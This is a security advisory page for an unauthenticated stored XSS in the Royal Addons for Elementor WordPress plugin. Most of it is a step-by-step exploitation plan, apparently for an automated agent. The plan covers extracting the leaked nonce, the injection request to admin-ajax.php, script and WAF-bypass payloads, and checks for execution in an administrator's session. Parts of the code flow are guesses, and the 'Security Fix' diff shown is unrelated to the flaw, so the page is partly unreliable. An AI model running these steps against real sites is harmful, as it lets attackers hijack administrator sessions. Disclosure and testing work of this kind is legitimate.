Royal Addons for Elementor <= 1.7.1056 - Unauthenticated Stored Cross-Site Scripting via 'status' Parameter in wpr_update_form_action_meta
Description
The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in the wpr_update_form_action_meta AJAX action in all versions up to, and including, 1.7.1056. This is due to insufficient input sanitization and output escaping, combined with a publicly leaked nonce that allows unauthenticated access to the AJAX handler. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.1056What Changed in the Fix
Changes introduced in v1.7.1057
Source Code
WordPress.org SVNThis research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in **Royal Addons for Elementor** (CVE-2026-4803). The vulnerability exists in the `wpr_update_form_action_meta` AJAX action due to a lack of sanitization on the `status` parameter and a nonce that is exposed to unauthentic…
Show full research plan
This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in Royal Addons for Elementor (CVE-2026-4803). The vulnerability exists in the wpr_update_form_action_meta AJAX action due to a lack of sanitization on the status parameter and a nonce that is exposed to unauthenticated users.
1. Vulnerability Summary
- ID: CVE-2026-4803
- Vulnerability Type: Stored Cross-Site Scripting (XSS)
- Root Cause: The function
wpr_update_form_action_meta(likely located inmodules/form-builder/module.phpor a similar backend handler) accepts astatusparameter via AJAX. This value is saved to post metadata usingupdate_post_meta()without sanitization and subsequently rendered in the WordPress admin dashboard (Form Submissions or Form Settings) without escaping. - Authentication: Unauthenticated (via
wp_ajax_nopriv_registration and a leaked nonce).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpr_update_form_action_meta - Vulnerable Parameter:
status - Nonce Variable:
WprConfig.nonce(found in the localized script object on the frontend). - Required Parameters:
action:wpr_update_form_action_metanonce: Valid WP nonce for thewpr-addons-nonceaction.post_id: The ID of a post (likely an REA Form or a template).status: The XSS payload.action_type: (Inferred) Likely required to specify which form action meta to update (e.g.,email,mailchimp).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=wpr_update_form_action_meta. - Nonce Verification: The handler calls
check_ajax_referer( 'wpr-addons-nonce', 'nonce' ). Since thewpr-addons-nonceis localized into theWprConfigobject on all frontend pages containing REA widgets, it is "publicly leaked." - Data Processing: The function retrieves
$_POST['status']and$_POST['post_id']. - Persistence: The unsanitized
statusvalue is stored:update_post_meta( $post_id, '_wpr_form_action_' . $action_type . '_status', $status );(Inferred logic). - Execution: An administrator navigates to the "Royal Addons -> Form Submissions" or the Elementor editor for the specific form. The stored
statusis echoed back into the page:echo get_post_meta( $id, '...', true );(Lack ofesc_htmloresc_attr).
4. Nonce Acquisition Strategy
The nonce is localized in the WprConfig global JS variable on any page where Royal Elementor Addons scripts are loaded.
- Trigger Script Loading: REA scripts load when a widget is present. We will use the
[wpr_button]shortcode as a lightweight trigger. - Creation: Use WP-CLI to create a public page with the shortcode.
- Extraction: Navigate to the page and use
browser_evalto extract the nonce.
- JS Variable:
window.WprConfig - Nonce Key:
nonce - Command:
browser_eval("window.WprConfig?.nonce")
5. Exploitation Strategy
Step 1: Identify a Target Post ID
We need a valid ID to attach the metadata to. We can target an existing post or create a dummy one.
- Tool:
wp_cli - Command:
wp post list --post_type=post --format=ids | head -n 1
Step 2: Acquire Nonce
- Create a trigger page:
wp post create --post_type=page --post_title="XSS Trigger" --post_status=publish --post_content='[wpr_button text="Click Me"]' - Navigate to the page using
browser_navigate. - Execute
browser_eval("window.WprConfig.nonce")to retrieve the nonce.
Step 3: Inject Payload
Send the malicious AJAX request.
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:wpr_update_form_action_metanonce:[EXTRACTED_NONCE]post_id:[TARGET_ID]action_type:email(Commonly used in form actions)status:<script>alert("CVE-2026-4803_XSS")</script>
Step 4: Verification (Admin Context)
- Log in as administrator using
browser_navigate. - Navigate to the post editor or REA settings where form actions are displayed.
- Check for the execution of the alert.
6. Test Data Setup
- Install Plugin: Ensure
royal-elementor-addonsversion<= 1.7.1056is installed. - Create Form: (Optional but recommended) Create a simple Royal Addons form via Elementor to ensure the metadata fields exist.
- Trigger Page: Create a page with
[wpr_button]to leak the nonce.
7. Expected Results
- AJAX Response: Should return
1or a success JSON (e.g.,{"success":true}). - Admin UI: When viewing the settings for the targeted
post_id, the script should execute.
8. Verification Steps (Post-Exploit)
After the HTTP request, verify the metadata is actually in the database:
- Command:
wp post meta list [POST_ID] - Check: Look for any key starting with
_wpr_form_action_and verify its value contains the<script>tag.
9. Alternative Approaches
- Different
action_type: Ifemaildoesn't work, trymailchimp,getresponse, orwebhook. - Payload Variation: If
<script>is blocked by a WAF (though unlikely in this isolated test), use:<img src=x onerror=alert(1)>"><details/open/ontoggle=alert(1)>
- Targeting Templates: Instead of a Post ID, target an REA Template ID (
post_type=wpr_templates).
Summary
Royal Addons for Elementor (<= 1.7.1056) is vulnerable to unauthenticated Stored Cross-Site Scripting via the 'status' parameter in the wpr_update_form_action_meta AJAX action. The vulnerability exists due to insufficient sanitization and escaping of stored metadata combined with a security nonce that is publicly exposed to all frontend visitors.
Security Fix
@@ -120,6 +120,8 @@ register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer'); register_setting('wpr-extension-settings', 'wpr-custom-css'); register_setting('wpr-extension-settings', 'wpr-display-conditions'); + register_setting('wpr-extension-settings', 'wpr-equal-height'); + // register_setting('wpr-extension-settings', 'wpr-column-slider'); register_setting('wpr-extension-settings', 'wpr-sticky-section'); // Element Toggle @@ -1630,6 +1632,12 @@ echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; } elseif ( 'wpr-display-conditions' === $option_name ) { echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>'; + } elseif ( 'wpr-column-slider' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; + } elseif ( 'wpr-equal-height' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; } // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>';
Exploit Outline
To exploit this vulnerability, an attacker first extracts the publicly leaked AJAX nonce from the 'WprConfig.nonce' variable on any frontend page where Royal Addons are loaded. Using this nonce, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' set to 'wpr_update_form_action_meta'. The payload includes a target 'post_id', an 'action_type' (e.g., 'email'), and a malicious script within the 'status' parameter. The injected script is saved to the post metadata and executes when an administrator navigates to the plugin's form submissions or settings page in the WordPress dashboard.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.